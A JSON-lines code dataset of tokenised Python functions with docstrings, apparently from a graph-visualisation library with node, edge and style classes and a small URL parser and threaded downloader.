{"signature": "def is_type(url, types=[], wait=<NUM_LIT:10>):", "body": "<EOL>if isinstance(types, str):<EOL><INDENT>types = [types]<EOL><DEDENT>try: connection = open(url, wait)<EOL>except:<EOL><INDENT>return False<EOL><DEDENT>type = connection.info()[\"<STR_LIT:Content-Type>\"]<EOL>for t in types:<EOL><INDENT>if type.startswith(t): return True<EOL><DEDENT>return False<EOL>", "docstring": "Determine the MIME-type of the document behind the url.\n\n    MIME is more reliable than simply checking the document extension.\n    Returns True when the MIME-type starts with anything in the list of types.", "id": "f11604:m6"}
{"signature": "def __init__(self, url=\"<STR_LIT>\", method=\"<STR_LIT>\"):", "body": "<EOL>is_post_urlparser = False<EOL>if isinstance(url, URLParser) and url.method == \"<STR_LIT>\":<EOL><INDENT>is_post_urlparser = True<EOL>url.method = \"<STR_LIT>\"<EOL><DEDENT>urlstr = str(url)<EOL>if is_post_urlparser: url.method = \"<STR_LIT>\"<EOL>url = urlstr<EOL>url = urllib.parse.urlsplit(url)<EOL>self.protocol = url[<NUM_LIT:0>]<EOL>self.domain = url[<NUM_LIT:1>]<EOL>self.username = \"<STR_LIT>\"<EOL>self.password = \"<STR_LIT>\"<EOL>if self.domain.find(\"<STR_LIT:@>\") >= <NUM_LIT:0>:<EOL><INDENT>login = self.domain.split(\"<STR_LIT:@>\")[<NUM_LIT:0>]<EOL>if login.find(\"<STR_LIT::>\") >= <NUM_LIT:0>:<EOL><INDENT>self.username = login.split(\"<STR_LIT::>\")[<NUM_LIT:0>]<EOL>self.password = login.split(\"<STR_LIT::>\")[<NUM_LIT:1>]<EOL><DEDENT>self.domain = self.domain.split(\"<STR_LIT:@>\")[<NUM_LIT:1>]<EOL><DEDENT>self.port = \"<STR_LIT>\"<EOL>if self.domain.find(\"<STR_LIT::>\") >= <NUM_LIT:0>:<EOL><INDENT>p = self.domain.split(\"<STR_LIT::>\")<EOL>if p[<NUM_LIT:1>].isdigit():<EOL><INDENT>self.port = p[<NUM_LIT:1>]<EOL>self.domain = p[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>self.path = url[<NUM_LIT:2>]<EOL>self.page = \"<STR_LIT>\"<EOL>if not self.path.endswith(\"<STR_LIT:/>\"):<EOL><INDENT>if self.path.find(\"<STR_LIT:/>\") >= <NUM_LIT:0>:<EOL><INDENT>self.page = self.path.split(\"<STR_LIT:/>\")[-<NUM_LIT:1>]<EOL>self.path = self.path[:-len(self.page)]<EOL><DEDENT>else:<EOL><INDENT>self.page = self.path<EOL>self.path = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>self.filename = self.page<EOL>self.query = {}<EOL>self.method = method<EOL>if url[<NUM_LIT:3>] != \"<STR_LIT>\":<EOL><INDENT>self.method = \"<STR_LIT>\"<EOL><DEDENT>if is_post_urlparser:<EOL><INDENT>self.method = \"<STR_LIT>\"<EOL><DEDENT>for param in url[<NUM_LIT:3>].split(\"<STR_LIT:&>\"):<EOL><INDENT>key, value = \"<STR_LIT>\", \"<STR_LIT>\"<EOL>if param.find(\"<STR_LIT:=>\") >= <NUM_LIT:0>:<EOL><INDENT>try: (key, value) = param.split(\"<STR_LIT:=>\")<EOL>except:<EOL><INDENT>key = param<EOL><DEDENT><DEDENT>else:<EOL><INDENT>key = param<EOL><DEDENT>if key != \"<STR_LIT>\":<EOL><INDENT>self.query[key] = value<EOL><DEDENT><DEDENT>self.anchor = url[<NUM_LIT:4>]<EOL>", "docstring": "Splits an url string into different parts.\n\n        The parts are:\n        protocol, domain, login, username, password, port, path, page, query, anchor.\n\n        The method defaults to get when the url has a query part.\n        Setting it to post will submit the query by POST\n        when opening the url.", "id": "f11604:c6:m0"}
{"signature": "def __str__(self):", "body": "url = \"<STR_LIT>\"<EOL>if self.protocol != \"<STR_LIT>\"  : url += self.protocol + \"<STR_LIT>\"<EOL>if self.username != \"<STR_LIT>\"  : url += self.username + \"<STR_LIT::>\" + self.password + \"<STR_LIT:@>\"<EOL>if self.domain   != \"<STR_LIT>\"  : url += self.domain<EOL>if self.port     != \"<STR_LIT>\"  : url += \"<STR_LIT::>\" + self.port<EOL>if self.path     != \"<STR_LIT>\"  : url += self.path<EOL>if self.page     != \"<STR_LIT>\"  : url += self.page<EOL>if self.method == \"<STR_LIT>\" andlen(self.query) > <NUM_LIT:0>  : url += \"<STR_LIT:?>\" + urllib.parse.urlencode(self.query)<EOL>if self.anchor   != \"<STR_LIT>\"  : url += \"<STR_LIT:#>\" + self.anchor<EOL>return url<EOL>", "docstring": "Reforms a url string from the different parts.", "id": "f11604:c6:m1"}
{"signature": "def __init__(self, url, wait=<NUM_LIT>, asynchronous=False, cache=None, type=\"<STR_LIT>\", throttle=<NUM_LIT:0>):", "body": "self.url = url<EOL>self.data = None<EOL>self.redirect = None<EOL>self.error = None<EOL>if cache != None:<EOL><INDENT>self.cached = True<EOL>self._cache = Cache(cache, type)<EOL><DEDENT>else:<EOL><INDENT>self.cached = False<EOL>self._cache = None<EOL><DEDENT>self._domain = URLParser(self.url).domain<EOL>self._throttle = throttle<EOL>global urlaccumulator_throttle<EOL>if not self._domain in urlaccumulator_throttle:<EOL><INDENT>urlaccumulator_throttle[self._domain] = time.time() - self._throttle<EOL><DEDENT>self._start = time.time()<EOL>self._wait = wait<EOL>self._busy = True<EOL>self._loaded = False<EOL>_thread.start_new_thread(self._retrieve, (self.url,))<EOL>if not asynchronous:<EOL><INDENT>while not self._done():<EOL><INDENT>time.sleep(<NUM_LIT:0.1>)<EOL><DEDENT><DEDENT>", "docstring": "Creates a threaded connection to a url and reads data.\n\n        URLAccumulator can run asynchronously which is useful for animations.\n        The done property is set to True when downloading is complete.\n        The error attribute contains a URLError exception when no data is found.\n\n        URLAccumulator data can be cached.\n        Downloads that resulted in an error will write an empty file to the cache,\n        the data property will be an empty string but no error is logged\n        when the data is read from the cache in later calls.\n\n        URLAccumulator can be throttled.\n        This ensures only a certain amount of requests to a domain\n        will happen in a given period of time.\n\n        URLAccumulator data is loaded.\n        It has a load() method that is called once when done.", "id": "f11604:c7:m0"}
{"signature": "def load(self, data):", "body": "pass<EOL>", "docstring": "Override this method in subclasses to process downloaded data.", "id": "f11604:c7:m4"}
{"signature": "def graph_background(s):", "body": "if s.background == None:<EOL><INDENT>s._ctx.background(None)<EOL><DEDENT>else:<EOL><INDENT>s._ctx.background(s.background)<EOL><DEDENT>if s.depth:<EOL><INDENT>try:<EOL><INDENT>clr = colors.color(s.background).darker(<NUM_LIT>)<EOL>p = s._ctx.rect(<NUM_LIT:0>, <NUM_LIT:0>, s._ctx.WIDTH, s._ctx.HEIGHT, draw=False)<EOL>colors.gradientfill(p, clr, clr.lighter(<NUM_LIT>))<EOL>colors.shadow(dx=<NUM_LIT:0>, dy=<NUM_LIT:0>, blur=<NUM_LIT:2>, alpha=<NUM_LIT>, clr=s.background)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Graph background color.", "id": "f11607:m0"}
{"signature": "def graph_traffic(s, node, alpha=<NUM_LIT:1.0>):", "body": "r = node.__class__(None).r<EOL>r += (node.weight+<NUM_LIT:0.5>) * r * <NUM_LIT:5><EOL>s._ctx.nostroke()<EOL>if s.traffic:<EOL><INDENT>s._ctx.fill(<EOL>s.traffic.r,<EOL>s.traffic.g,<EOL>s.traffic.b,<EOL>s.traffic.a * alpha<EOL>)<EOL>s._ctx.oval(node.x-r, node.y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)<EOL><DEDENT>", "docstring": "Visualization of traffic-intensive nodes (based on their centrality).", "id": "f11607:m1"}
{"signature": "def node(s, node, alpha=<NUM_LIT:1.0>):", "body": "if s.depth:<EOL><INDENT>try:<EOL><INDENT>colors.shadow(dx=<NUM_LIT:5>, dy=<NUM_LIT:5>, blur=<NUM_LIT:10>, alpha=<NUM_LIT:0.5>*alpha)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>s._ctx.nofill()<EOL>s._ctx.nostroke()<EOL>if s.fill:<EOL><INDENT>s._ctx.fill(<EOL>s.fill.r,<EOL>s.fill.g,<EOL>s.fill.b,<EOL>s.fill.a * alpha<EOL>)<EOL><DEDENT>if s.stroke:<EOL><INDENT>s._ctx.strokewidth(s.strokewidth)<EOL>s._ctx.stroke(<EOL>s.stroke.r,<EOL>s.stroke.g,<EOL>s.stroke.b,<EOL>s.stroke.a * alpha * <NUM_LIT:3><EOL>)<EOL><DEDENT>r = node.r<EOL>s._ctx.oval(node.x-r, node.y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)<EOL>", "docstring": "Visualization of a default node.", "id": "f11607:m2"}
{"signature": "def node_label(s, node, alpha=<NUM_LIT:1.0>):", "body": "if s.text:<EOL><INDENT>s._ctx.font(s.font)<EOL>s._ctx.fontsize(s.fontsize)<EOL>s._ctx.nostroke()<EOL>s._ctx.fill(<EOL>s.text.r,<EOL>s.text.g,<EOL>s.text.b,<EOL>s.text.a * alpha<EOL>)<EOL>try:<EOL><INDENT>p = node._textpath<EOL><DEDENT>except:<EOL><INDENT>txt = node.label<EOL>try:<EOL><INDENT>txt = str(txt)<EOL><DEDENT>except:<EOL><INDENT>try:<EOL><INDENT>txt = txt.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>dx, dy = <NUM_LIT:0>, <NUM_LIT:0><EOL>if s.align == <NUM_LIT:2>:  <EOL><INDENT>dx = -s._ctx.textwidth(txt, s.textwidth) / <NUM_LIT:2><EOL>dy = s._ctx.textheight(txt) / <NUM_LIT:2><EOL><DEDENT>node._textpath = s._ctx.textpath(txt, dx, dy, width=s.textwidth)<EOL>p = node._textpath<EOL><DEDENT>if s.depth:<EOL><INDENT>try:<EOL><INDENT>__colors.shadow(dx=<NUM_LIT:2>, dy=<NUM_LIT:4>, blur=<NUM_LIT:5>, alpha=<NUM_LIT>*alpha)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>s._ctx.push()<EOL>s._ctx.translate(node.x, node.y)<EOL>s._ctx.scale(alpha)<EOL>s._ctx.drawpath(p.copy())<EOL>s._ctx.pop()<EOL><DEDENT>", "docstring": "Visualization of a node's id.", "id": "f11607:m3"}
{"signature": "def edges(s, edges, alpha=<NUM_LIT:1.0>, weighted=False, directed=False):", "body": "p = s._ctx.BezierPath()<EOL>if directed and s.stroke:<EOL><INDENT>pd = s._ctx.BezierPath()<EOL><DEDENT>if weighted and s.fill:<EOL><INDENT>pw = [s._ctx.BezierPath() for i in range(<NUM_LIT:11>)]<EOL><DEDENT>if len(edges) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>for e in edges:<EOL><INDENT>try:<EOL><INDENT>s2 = e.node1.graph.styles[e.node1.style]<EOL><DEDENT>except:<EOL><INDENT>s2 = s<EOL><DEDENT>if s2.edge:<EOL><INDENT>s2.edge(s2, p, e, alpha)<EOL>if directed and s.stroke:<EOL><INDENT>s2.edge_arrow(s2, pd, e, radius=<NUM_LIT:10>)<EOL><DEDENT>if weighted and s.fill:<EOL><INDENT>s2.edge(s2, pw[int(e.weight*<NUM_LIT:10>)], e, alpha)<EOL><DEDENT><DEDENT><DEDENT>s._ctx.autoclosepath(False)<EOL>s._ctx.nofill()<EOL>s._ctx.nostroke()<EOL>if weighted and s.fill:<EOL><INDENT>r = e.node1.__class__(None).r<EOL>s._ctx.stroke(<EOL>s.fill.r,<EOL>s.fill.g,<EOL>s.fill.b,<EOL>s.fill.a * <NUM_LIT> * alpha<EOL>)<EOL>for w in range(<NUM_LIT:1>, len(pw)):<EOL><INDENT>s._ctx.strokewidth(r*w*<NUM_LIT:0.1>)<EOL>s._ctx.drawpath(pw[w].copy())<EOL><DEDENT><DEDENT>if s.stroke:<EOL><INDENT>s._ctx.strokewidth(s.strokewidth)<EOL>s._ctx.stroke(<EOL>s.stroke.r,<EOL>s.stroke.g,<EOL>s.stroke.b,<EOL>s.stroke.a * <NUM_LIT> * alpha<EOL>)<EOL><DEDENT>s._ctx.drawpath(p.copy())<EOL>if directed and s.stroke:<EOL><INDENT>clr = s._ctx.color(<EOL>s.stroke.r,<EOL>s.stroke.g,<EOL>s.stroke.b,<EOL>s.stroke.a * <NUM_LIT> * alpha<EOL>)<EOL>clr.a *= <NUM_LIT><EOL>s._ctx.stroke(clr)<EOL>s._ctx.drawpath(pd.copy())<EOL><DEDENT>for e in edges:<EOL><INDENT>try:<EOL><INDENT>s2 = self.styles[e.node1.style]<EOL><DEDENT>except:<EOL><INDENT>s2 = s<EOL><DEDENT>if s2.edge_label:<EOL><INDENT>s2.edge_label(s2, e, alpha)<EOL><DEDENT><DEDENT>", "docstring": "Visualization of the edges in a network.", "id": "f11607:m4"}
{"signature": "def edge(s, path, edge, alpha=<NUM_LIT:1.0>):", "body": "path.moveto(edge.node1.x, edge.node1.y)<EOL>if edge.node2.style == BACK:<EOL><INDENT>path.curveto(<EOL>edge.node1.x,<EOL>edge.node2.y,<EOL>edge.node2.x,<EOL>edge.node2.y,<EOL>edge.node2.x,<EOL>edge.node2.y,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>path.lineto(<EOL>edge.node2.x,<EOL>edge.node2.y<EOL>)<EOL><DEDENT>", "docstring": "Visualization of a single edge between two nodes.", "id": "f11607:m5"}
{"signature": "def edge_label(s, edge, alpha=<NUM_LIT:1.0>):", "body": "if s.text and edge.label != \"<STR_LIT>\":<EOL><INDENT>s._ctx.nostroke()<EOL>s._ctx.fill(<EOL>s.text.r,<EOL>s.text.g,<EOL>s.text.b,<EOL>s.text.a * alpha*<NUM_LIT><EOL>)<EOL>s._ctx.lineheight(<NUM_LIT:1>)<EOL>s._ctx.font(s.font)<EOL>s._ctx.fontsize(s.fontsize*<NUM_LIT>)<EOL>try:<EOL><INDENT>p = edge._textpath<EOL><DEDENT>except:<EOL><INDENT>try:<EOL><INDENT>txt = str(edge.label)<EOL><DEDENT>except:<EOL><INDENT>try:<EOL><INDENT>txt = edge.label.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>edge._textpath = s._ctx.textpath(<EOL>txt, s._ctx.textwidth(\"<STR_LIT:U+0020>\"), <NUM_LIT:0>, width=s.textwidth)<EOL>p = edge._textpath<EOL><DEDENT>a = degrees(atan2(edge.node2.y-edge.node1.y,<EOL>edge.node2.x-edge.node1.x))<EOL>d = sqrt((edge.node2.x-edge.node1.x)**<NUM_LIT:2> +<EOL>(edge.node2.y-edge.node1.y)**<NUM_LIT:2>)<EOL>d = abs(d-s._ctx.textwidth(edge.label)) * <NUM_LIT:0.5><EOL>s._ctx.push()<EOL>s._ctx.transform(CORNER)<EOL>s._ctx.translate(edge.node1.x, edge.node1.y)<EOL>s._ctx.rotate(-a)<EOL>s._ctx.translate(d, s.fontsize*<NUM_LIT:1.0>)<EOL>s._ctx.scale(alpha)<EOL>if <NUM_LIT> < a % <NUM_LIT> < <NUM_LIT>:<EOL><INDENT>s._ctx.translate(s._ctx.textwidth(edge.label), -s.fontsize*<NUM_LIT>)<EOL>s._ctx.transform(CENTER)<EOL>s._ctx.rotate(<NUM_LIT>)<EOL>s._ctx.transform(CORNER)<EOL><DEDENT>s._ctx.drawpath(p.copy())<EOL>s._ctx.pop()<EOL><DEDENT>", "docstring": "Visualization of the label accompanying an edge.", "id": "f11607:m7"}
{"signature": "def path(s, graph, path):", "body": "def end(n):<EOL><INDENT>r = n.r * <NUM_LIT><EOL>s._ctx.oval(n.x-r, n.y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)<EOL><DEDENT>if path and len(path) > <NUM_LIT:1> and s.stroke:<EOL><INDENT>s._ctx.nofill()<EOL>s._ctx.stroke(<EOL>s.stroke.r,<EOL>s.stroke.g,<EOL>s.stroke.b,<EOL>s.stroke.a<EOL>)<EOL>if s.name != DEFAULT:<EOL><INDENT>s._ctx.strokewidth(s.strokewidth)<EOL><DEDENT>else:<EOL><INDENT>s._ctx.strokewidth(s.strokewidth*<NUM_LIT:2>)<EOL><DEDENT>first = True<EOL>for id in path:<EOL><INDENT>n = graph[id]<EOL>if first:<EOL><INDENT>first = False<EOL>s._ctx.beginpath(n.x, n.y)<EOL>end(n)<EOL><DEDENT>else:<EOL><INDENT>s._ctx.lineto(n.x, n.y)<EOL><DEDENT><DEDENT>s._ctx.endpath()<EOL>end(n)<EOL><DEDENT>", "docstring": "Visualization of a shortest path between two nodes.", "id": "f11607:m8"}
{"signature": "def create(self, stylename, **kwargs):", "body": "if stylename == \"<STR_LIT:default>\":<EOL><INDENT>self[stylename] = style(stylename, self._ctx, **kwargs)<EOL>return self[stylename]<EOL><DEDENT>k = kwargs.get(\"<STR_LIT>\", \"<STR_LIT:default>\")<EOL>s = self[stylename] = self[k].copy(stylename)<EOL>for attr in kwargs:<EOL><INDENT>if attr in s.__dict__:<EOL><INDENT>s.__dict__[attr] = kwargs[attr]<EOL><DEDENT><DEDENT>return s<EOL>", "docstring": "Creates a new style which inherits from the default style,\n        or any other style which name is supplied to the optional template parameter.", "id": "f11607:c0:m2"}
{"signature": "def __getattr__(self, a):", "body": "if a in self:<EOL><INDENT>return self[a]<EOL><DEDENT>raise AttributeError(\"<STR_LIT>\"+a+\"<STR_LIT:'>\")<EOL>", "docstring": "Keys in the dictionaries are accessible as attributes.", "id": "f11607:c0:m4"}
{"signature": "def __setattr__(self, a, v):", "body": "if a == \"<STR_LIT>\":<EOL><INDENT>self.__dict__[\"<STR_LIT>\"] = v<EOL><DEDENT>elif len(self) > <NUM_LIT:0> and a in list(self.values())[<NUM_LIT:0>].__dict__:<EOL><INDENT>for style in list(self.values()):<EOL><INDENT>style.__dict__[a] = v<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\"+a+\"<STR_LIT:'>\")<EOL><DEDENT>", "docstring": "Setting an attribute is like setting it in all of the contained styles.", "id": "f11607:c0:m5"}
{"signature": "def copy(self, graph):", "body": "s = styles(graph)<EOL>s.guide = self.guide.copy(graph)<EOL>dict.__init__(s, [(v.name, v.copy()) for v in list(self.values())])<EOL>return s<EOL>", "docstring": "Returns a copy of all styles and a copy of the styleguide.", "id": "f11607:c0:m6"}
{"signature": "def append(self, stylename, function):", "body": "self[stylename] = function<EOL>", "docstring": "The name of a style and a function that takes a graph and a node.\n        It returns True when the style should be applied to the given node.", "id": "f11607:c1:m1"}
{"signature": "def apply(self):", "body": "sorted = self.order + list(self.keys())<EOL>unique = []<EOL>[unique.append(x) for x in sorted if x not in unique]<EOL>for node in self.graph.nodes:<EOL><INDENT>for s in unique:<EOL><INDENT>if s in self and self[s](self.graph, node):<EOL><INDENT>node.style = s<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Check the rules for each node in the graph and apply the style.", "id": "f11607:c1:m3"}
{"signature": "def copy(self, graph):", "body": "g = styleguide(graph)<EOL>g.order = self.order<EOL>dict.__init__(g, [(k, v) for k, v in self.items()])<EOL>return g<EOL>", "docstring": "Returns a copy of the styleguide for the given graph.", "id": "f11607:c1:m4"}
{"signature": "def __init__(self, name, _ctx, **kwargs):", "body": "self.name = name<EOL>self._ctx = _ctx<EOL>if not _ctx:<EOL><INDENT>return<EOL><DEDENT>self.background = _ctx.color(<NUM_LIT>, <NUM_LIT>, <NUM_LIT:0.5>, <NUM_LIT>)<EOL>self.traffic = _ctx.color(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>self.fill = _ctx.color(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>self.stroke = _ctx.color(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>self.strokewidth = <NUM_LIT:0.5><EOL>self.text = _ctx.color(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>self.font = \"<STR_LIT>\"<EOL>self.fontsize = <NUM_LIT:10><EOL>self.textwidth = <NUM_LIT:100><EOL>self.align = <NUM_LIT:1><EOL>self.depth = True<EOL>self.graph_background = graph_background<EOL>self.graph_traffic = graph_traffic<EOL>self.node = node<EOL>self.node_label = node_label<EOL>self.edges = edges<EOL>self.edge = edge<EOL>self.edge_arrow = edge_arrow<EOL>self.edge_label = edge_label<EOL>self.path = path<EOL>for attr in kwargs:<EOL><INDENT>if attr in self.__dict__:<EOL><INDENT>self.__dict__[attr] = kwargs[attr]<EOL><DEDENT><DEDENT>if self.depth:<EOL><INDENT>try:<EOL><INDENT>global colors<EOL>colors = _ctx.ximport(\"<STR_LIT>\")<EOL><DEDENT>except:<EOL><INDENT>self.depth = False<EOL><DEDENT><DEDENT>", "docstring": "Graph styling. \n        The default style is used for edges.\n        When text is set to None, no id label is displayed.", "id": "f11607:c2:m0"}
{"signature": "def create(iterations=<NUM_LIT:1000>, distance=<NUM_LIT:1.0>, layout=LAYOUT_SPRING, depth=True):", "body": "<EOL>_ctx.colormode(_ctx.RGB)<EOL>g = graph(iterations, distance, layout)<EOL>s = style.style<EOL>g.styles.append(s(style.LIGHT    , _ctx, fill   = _ctx.color(<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT>)))<EOL>g.styles.append(s(style.DARK     , _ctx, fill   = _ctx.color(<NUM_LIT>, <NUM_LIT:0.5>, <NUM_LIT>, <NUM_LIT>)))<EOL>g.styles.append(s(style.BACK     , _ctx, fill   = _ctx.color(<NUM_LIT:0.5>, <NUM_LIT>, <NUM_LIT:0.0>, <NUM_LIT>)))<EOL>g.styles.append(s(style.IMPORTANT, _ctx, fill   = _ctx.color(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)))<EOL>g.styles.append(s(style.HIGHLIGHT, _ctx, stroke = _ctx.color(<NUM_LIT:1.0>, <NUM_LIT:0.0>, <NUM_LIT:0.5>), strokewidth=<NUM_LIT>))<EOL>g.styles.append(s(style.MARKED   , _ctx))<EOL>g.styles.append(s(style.ROOT     , _ctx, text   = _ctx.color(<NUM_LIT:1.0>, <NUM_LIT:0.0>, <NUM_LIT>, <NUM_LIT>), <EOL>stroke = _ctx.color(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL>strokewidth = <NUM_LIT>, <EOL>fontsize    = <NUM_LIT:16>, <EOL>textwidth   = <NUM_LIT>))<EOL>def important_node(s, node, alpha=<NUM_LIT:1.0>):<EOL><INDENT>style.style(None, _ctx).node(s, node, alpha)<EOL>r = node.r * <NUM_LIT><EOL>_ctx.nofill()<EOL>_ctx.oval(node.x-r, node.y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)  <EOL><DEDENT>def marked_node(s, node, alpha=<NUM_LIT:1.0>):<EOL><INDENT>style.style(None, _ctx).node(s, node, alpha)<EOL>r = node.r * <NUM_LIT><EOL>_ctx.fill(s.stroke)<EOL>_ctx.oval(node.x-r, node.y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)<EOL><DEDENT>g.styles.important.node = important_node<EOL>g.styles.marked.node = marked_node <EOL>g.styles.depth = depth<EOL>g.styles.guide.append(style.LIGHT     , lambda graph, node: graph.root in node.links)<EOL>g.styles.guide.append(style.DARK      , lambda graph, node: len(node.links) > <NUM_LIT:4>)<EOL>g.styles.guide.append(style.IMPORTANT , lambda graph, node: node.weight > <NUM_LIT>)<EOL>g.styles.guide.append(style.ROOT      , lambda graph, node: node == graph.root)<EOL>g.styles.guide.append(style.BACK      , lambda graph, node: node == graph.events.clicked)<EOL>def balance(graph, node): <EOL><INDENT>node.r = node.r*<NUM_LIT> + node.r*node.weight*<NUM_LIT><EOL><DEDENT>g.styles.guide.append(\"<STR_LIT>\", balance)<EOL>def cluster(graph, node):<EOL><INDENT>if len(node.links) == <NUM_LIT:1>: <EOL><INDENT>node.links.edge(node.links[<NUM_LIT:0>]).length *= <NUM_LIT:0.5><EOL><DEDENT><DEDENT>g.styles.guide.append(\"<STR_LIT>\", cluster)<EOL>g.styles.guide.order = [<EOL>style.LIGHT, style.DARK, style.IMPORTANT, style.ROOT, style.BACK, \"<STR_LIT>\", \"<STR_LIT>\"<EOL>]<EOL>return g<EOL>", "docstring": "Returns a new graph with predefined styling.", "id": "f11608:m0"}
{"signature": "def __init__(self, graph, id=\"<STR_LIT>\", radius=<NUM_LIT:8>, style=style.DEFAULT, category=\"<STR_LIT>\", label=None,<EOL>properties={}):", "body": "self.graph = graph<EOL>self.id = id<EOL>self.category = category<EOL>self.label = label or self.id<EOL>self.links = links()<EOL>self.vx = <NUM_LIT:0><EOL>self.vy = <NUM_LIT:0><EOL>self.force = layout.Point(<NUM_LIT:0>, <NUM_LIT:0>)<EOL>self.r = radius<EOL>self.style = style<EOL>self._visited = False<EOL>self._betweenness = None<EOL>self._eigenvalue = None<EOL>for k, v in list(properties.items()):<EOL><INDENT>if not k in self.__dict__:<EOL><INDENT>self.__dict__[k] = v<EOL><DEDENT><DEDENT>", "docstring": "A node with a unique id in the graph.\n        Its position is calculated by graph.layout.\n        The node's radius and style define how it looks onscreen.", "id": "f11608:c0:m0"}
{"signature": "def can_reach(self, node, traversable=lambda node, edge: True):", "body": "if isinstance(node, str):<EOL><INDENT>node = self.graph[node]<EOL><DEDENT>for n in self.graph.nodes:<EOL><INDENT>n._visited = False<EOL><DEDENT>return proximity.depth_first_search(self,<EOL>visit=lambda n: node == n,<EOL>traversable=traversable<EOL>)<EOL>", "docstring": "Returns True if given node can be reached over traversable edges.\n        To enforce edge direction, use a node==edge.node1 traversable.", "id": "f11608:c0:m3"}
{"signature": "def __contains__(self, pt):", "body": "if abs(self.graph.x+self.x-pt.x) < self.r*<NUM_LIT:2> andabs(self.graph.y+self.y-pt.y) < self.r*<NUM_LIT:2>:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "True if pt.x, pt.y is inside the node's absolute position.", "id": "f11608:c0:m8"}
{"signature": "def copy(self, empty=False):", "body": "g = graph(self.layout.n, self.distance, self.layout.type)<EOL>g.layout = self.layout.copy(g)<EOL>g.styles = self.styles.copy(g)<EOL>g.events = self.events.copy(g)<EOL>if not empty:<EOL><INDENT>for n in self.nodes:<EOL><INDENT>g.add_node(n.id, n.r, n.style, n.category, n.label, (n == self.root), n.__dict__)<EOL><DEDENT>for e in self.edges:<EOL><INDENT>g.add_edge(e.node1.id, e.node2.id, e.weight, e.length, e.label, e.__dict__)<EOL><DEDENT><DEDENT>return g<EOL>", "docstring": "Create a copy of the graph (by default with nodes and edges).", "id": "f11608:c3:m3"}
{"signature": "def clear(self):", "body": "dict.clear(self)<EOL>self.nodes = []<EOL>self.edges = []<EOL>self.root  = None<EOL>self.layout.i = <NUM_LIT:0><EOL>self.alpha = <NUM_LIT:0><EOL>", "docstring": "Remove nodes and edges and reset the layout.", "id": "f11608:c3:m4"}
{"signature": "def add_node(self, id, radius=<NUM_LIT:8>, style=style.DEFAULT, category=\"<STR_LIT>\", label=None, root=False,<EOL>properties={}):", "body": "if id in self: <EOL><INDENT>return self[id]<EOL><DEDENT>if not isinstance(style, str) and style.__dict__.has_key[\"<STR_LIT:name>\"]:<EOL><INDENT>style = style.name<EOL><DEDENT>n = node(self, id, radius, style, category, label, properties)<EOL>self[n.id] = n<EOL>self.nodes.append(n)<EOL>if root: self.root = n<EOL>return n<EOL>", "docstring": "Add node from id and return the node object.", "id": "f11608:c3:m5"}
{"signature": "def add_nodes(self, nodes):", "body": "try: [self.add_node(n) for n in nodes]<EOL>except:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Add nodes from a list of id's.", "id": "f11608:c3:m6"}
{"signature": "def add_edge(self, id1, id2, weight=<NUM_LIT:0.0>, length=<NUM_LIT:1.0>, label=\"<STR_LIT>\", properties={}):", "body": "if id1 == id2: return None<EOL>if id1 not in self: self.add_node(id1)<EOL>if id2 not in self: self.add_node(id2)<EOL>n1 = self[id1]<EOL>n2 = self[id2]<EOL>if n1 in n2.links:<EOL><INDENT>if n2.links.edge(n1).node1 == n1:<EOL><INDENT>return self.edge(id1, id2)<EOL><DEDENT><DEDENT>weight = max(<NUM_LIT:0.0>, min(weight, <NUM_LIT:1.0>))<EOL>e = edge(n1, n2, weight, length, label, properties)<EOL>self.edges.append(e)    <EOL>n1.links.append(n2, e)<EOL>n2.links.append(n1, e)<EOL>return e<EOL>", "docstring": "Add weighted (0.0-1.0) edge between nodes, creating them if necessary.\n        The weight represents the importance of the connection (not the cost).", "id": "f11608:c3:m7"}
{"signature": "def remove_node(self, id):", "body": "if id in self:<EOL><INDENT>n = self[id]<EOL>self.nodes.remove(n)<EOL>del self[id]<EOL>for e in list(self.edges):<EOL><INDENT>if n in (e.node1, e.node2):<EOL><INDENT>if n in e.node1.links: <EOL><INDENT>e.node1.links.remove(n)<EOL><DEDENT>if n in e.node2.links: <EOL><INDENT>e.node2.links.remove(n)<EOL><DEDENT>self.edges.remove(e)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Remove node with given id.", "id": "f11608:c3:m8"}
{"signature": "def remove_edge(self, id1, id2):", "body": "for e in list(self.edges):<EOL><INDENT>if id1 in (e.node1.id, e.node2.id) andid2 in (e.node1.id, e.node2.id):<EOL><INDENT>e.node1.links.remove(e.node2)<EOL>e.node2.links.remove(e.node1)<EOL>self.edges.remove(e)<EOL><DEDENT><DEDENT>", "docstring": "Remove edges between nodes with given id's.", "id": "f11608:c3:m9"}
{"signature": "def node(self, id):", "body": "if id in self:<EOL><INDENT>return self[id]<EOL><DEDENT>return None<EOL>", "docstring": "Returns the node in the graph associated with the given id.", "id": "f11608:c3:m10"}
